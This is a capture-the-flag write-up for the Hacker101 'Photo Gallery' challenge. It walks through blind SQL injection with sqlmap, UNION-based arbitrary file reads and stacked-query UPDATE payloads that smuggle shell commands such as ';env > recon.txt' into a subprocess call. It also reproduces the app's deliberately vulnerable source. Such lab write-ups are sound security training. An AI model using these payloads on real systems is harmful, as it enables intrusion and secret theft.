This is the next challenge from Hacker101 CTF after Encrypted Pastebin
. This is a web challenge rated as moderate. Let’s dive right into it.
Recon
The homepage displays three images, but the last one doesn’t render correctly. The first thing I tend to do when using a new service is to understand on a higher level how it works. Let’s inspect the source code and the network calls made by the page.
In our network tab we notice calls to the endpoint /fetch=<id>
. It’s also interesting that the id with value 3
causes an Internal Server error while ids 1
and 2
are fine. Let’s keep that in mind since the service might be vulnerable to an IDOR or SQLi.
In order to find hidden ids I like to use ffuf to fuzz values. Let’s create a range.txt
file with 50 ids and feed those to ffuf
.
$ range 50 > range.txt
$ ffuf -w range.txt --mc "all" -u https://<subdomain>.ctf.hacker101.com/fetch?id=FUZZ
...
Nothing stands out here, only the first two images returns status 200
. In this case I used --mc "all"
to display every response irrespective of status code since I wanted to see if we could find other ids that would give us an Internal Server Error, but we couldn’t find any other one besides 3
, which we already knew about.
Sometimes endpoints respond to other HTTP methods besides the usual GET
, is that the case here? Let’s try to see if our endpoint responds to a POST
request.
$ curl -X POST https://<subdomain>.ctf.hacker101.com/fetch
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
Seems like it doesn’t. Maybe we should try to discover more endpoints in this service. Let’s use ffuf
yet again with a different wordlist.
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u https://<subdomain>.ctf.hacker101.com/FUZZ
...
No interesting results yet again! At this point my idea is to find out if we can abuse the id
query parameter in any way. Passing the value foo
to it generates a 500
(internal server error), which is interesting. Passing "foo"
returns a 404
status code.
At this point I’m convinced our input is causing some kind of internal query (hopefully SQL) to error out, but we don’t have access to the output. Passing "1"
instead of 1
makes the server return something interesting:
����JFIF�����ExifMM*JR(1Z�ih��paint.net 4.1��zzUNICODECREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 ��C #,%!*!&4'*./121%6:60:,010��C 0 00000000000000000000000000000000000000000000000000����"�� ���}!1AQa"q2���#B��R��$3br�
...
Passing "2"
also returns a similar output, but passing something like "100"
returns a not found status. I’m convinced that we can exploit this somehow, so let’s turn to sqlmap
to try all sorts of techniques for us.
SQL Injection
$ sqlmap -u https://<subdomain>.ctf.hacker101.com/login?id=1 -p "id" --dump
...
[18:23:58] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 312 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 9950=9950
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: id=1 OR SLEEP(5)
---
[18:26:52] [INFO] the back-end DBMS is MySQL
And as we thought that endpoint was vulnerable to SQL injection! Here’s the dump of the database:
Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title |
+----+---------+
| 1 | Kittens |
+----+---------+
Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title | parent | filename |
+----+------------------+--------+------------------------------------------------------------------+
| 1 | Utterly adorable | 1 | files/adorable.jpg |
| 2 | Purrfect | 1 | files/purrfect.jpg |
| 3 | Invisible | 1 | <flag> |
+----+------------------+--------+------------------------------------------------------------------+
Now we know the tables and columns and we can have an idea of how the server works. I would bet the query triggered from /fetch?id=<id>
is something like:
SELECT filename FROM photos where id = <id>;
This implies that the server loads whatever filename it gets from the database and sends it back to the client. Can we load other files besides our images? Let’s keep this in mind after investigating the third entry in the photos
table.
The query to id
number 3
returns 500
because that file seems to be missing. Lucky for us that missing file is our first flag!
Arbitrary file loading
Let’s get back to our hypothesis that we can load files from our server. Would it be possible to load any file using a query like the one below?
SELECT filename FROM photos where id = 4 UNION SELECT '<our file>';
Let’s try it with files/adorable.jpg
since we know this file exists. I’m also using id
as 4
because we know this id
doesn’t exist in our table.
https://<subdomain>.ctf.hacker101.com/fetch?id=4 UNION SELECT 'files/adorable.jpg'; --
And we got our status 200
answer as expected! The only problem is that we don’t know how the files in our application are named.
At this point I got a bit lost and had to get hints for this challenge, the one that helped me the most was:
This application runs on the uwsgi-nginx-flask-docker image
Which pointed me to: https://github.com/tiangolo/uwsgi-nginx-flask-docker.
According to this docker image we are running python and we usually have an app
directory with files named:
uwsgi.ini
main.py
So I started querying for main.py
we get the file:
https://<subdomain>.ctf.hacker101.com/fetch?id=?id=4 UNION SELECT 'main.py'; --
And inspecting the source code of the page allow us to read the contents of our main.py
file:
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = '''
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
$ALBUMS$
</body>
</html>
'''
viewAlbum = '''
<!doctype html>
<html>
<head>
<title>$TITLE$ -- Magical Image Gallery</title>
</head>
<body>
<h1>$TITLE$</h1>
$GALLERY$
</body>
</html>
'''
def getDb():
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
def sanitize(data):
return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"')
@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="[fetch?id=%i](view-source:https://67d88c594684dc2c38c7880002121440.ctf.hacker101.com/fetch?id=%i)" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'
return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^...$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
And we get another flag!
# It's dangerous to go alone, take this:
# ^FLAG^...$FLAG$
Besides that a few other things stand out in this source code.
subprocess
The subprocess.check_output
method accepts our filenames without any encoding or sanitization. If we can somehow overwrite a filename in the database we should be able to get remote code execution.
subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT)
Our plan is to do something like:
du -ch filenames; <our command> || exit 0
So we need to have a file named ; <our command>
as the last one in the list.
Database query in the fetch endpoint
Our query for a photo
has the following format:
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0
We already know our query is vulnerable to SQL injection and that we are using MySQL from our source code. MySQL also has a concept called stacked queries that allows us to send multiple queries to our database at the same time. If this is enabled we can inject whatever filename we want and cause remote code execution.
I would like to stop here and say that finding this wasn’t straightforward at all and required a lot of research on potential ways to exploit MySQL through SQL injection.
Let’s validate this approach with an id
like:
1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg');
This will:
- Query for the
id=1
which we know exists - INSERT a new value in our database with a file that we know exists
There’s one trick to this though, we need to commit
the value to our database. By default this doesn’t happen as we can see in this example.
So let’s modify our payload above:
1; INSERT INTO photos (id, title, parent, filename) VALUES (4, 'Potato', 1, 'files/adorable.jpg'); commit;
And now querying with /fetch?id=4
returns our image!
It’s time to get remote code execution (RCE). Or so I though… Going back to the homepage did not display my new photo. Going back to the source code to understand why made me notice the LIMIT 3
in the query below:
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3'
I guess we need to update one of our records with the value we want instead of creating a new one. Or delete the existing ones, any solution is a valid one. Let’s go with the UPDATE
one and do some recon on the file system:
1; UPDATE photos SET filename=";ls > recon.txt" where id=3; commit;
Now we can go back and refresh the homepage so the 'du -ch <files>; <our command> || exit 0'
command is executed and then we can read our new file with:
?id=6 UNION SELECT 'recon.txt';
we get:
Dockerfile files main.py main.pyc prestart.sh recon.txt requirements.txt uwsgi.ini
Let’s investigate these other files! After going over these one by one, the one that gave me an idea was prestart.sh
since it contains the contents:
#!/bin/bash set -e service mysql start & python setup.py rm setup.py
Could this setup.py
be adding something to our environment? Let’s validate this by adding the contents our environment to our recon.txt
file with the env
command:
1; UPDATE photos SET filename=";env > recon.txt" where id=3; commit;
And reading this file gives us our last flag, and all the other ones!
...
FLAGS=["^FLAG^...$FLAG$","^FLAG^...$FLAG$","^FLAG^...$FLAG$"]
...
Conclusion
This was a fun challenge that forced us to read source code and also use and learn a bunch about SQL and MySQL features. Thinking back, instead of getting a hint we could have tried to enumerate our server for common files like README.md
, Dockerfile
, main.py
, Procfile
and so on until we found a hit. Let’s keep it in mind for future sessions.
Thanks for reading and I will see you in our next challenge!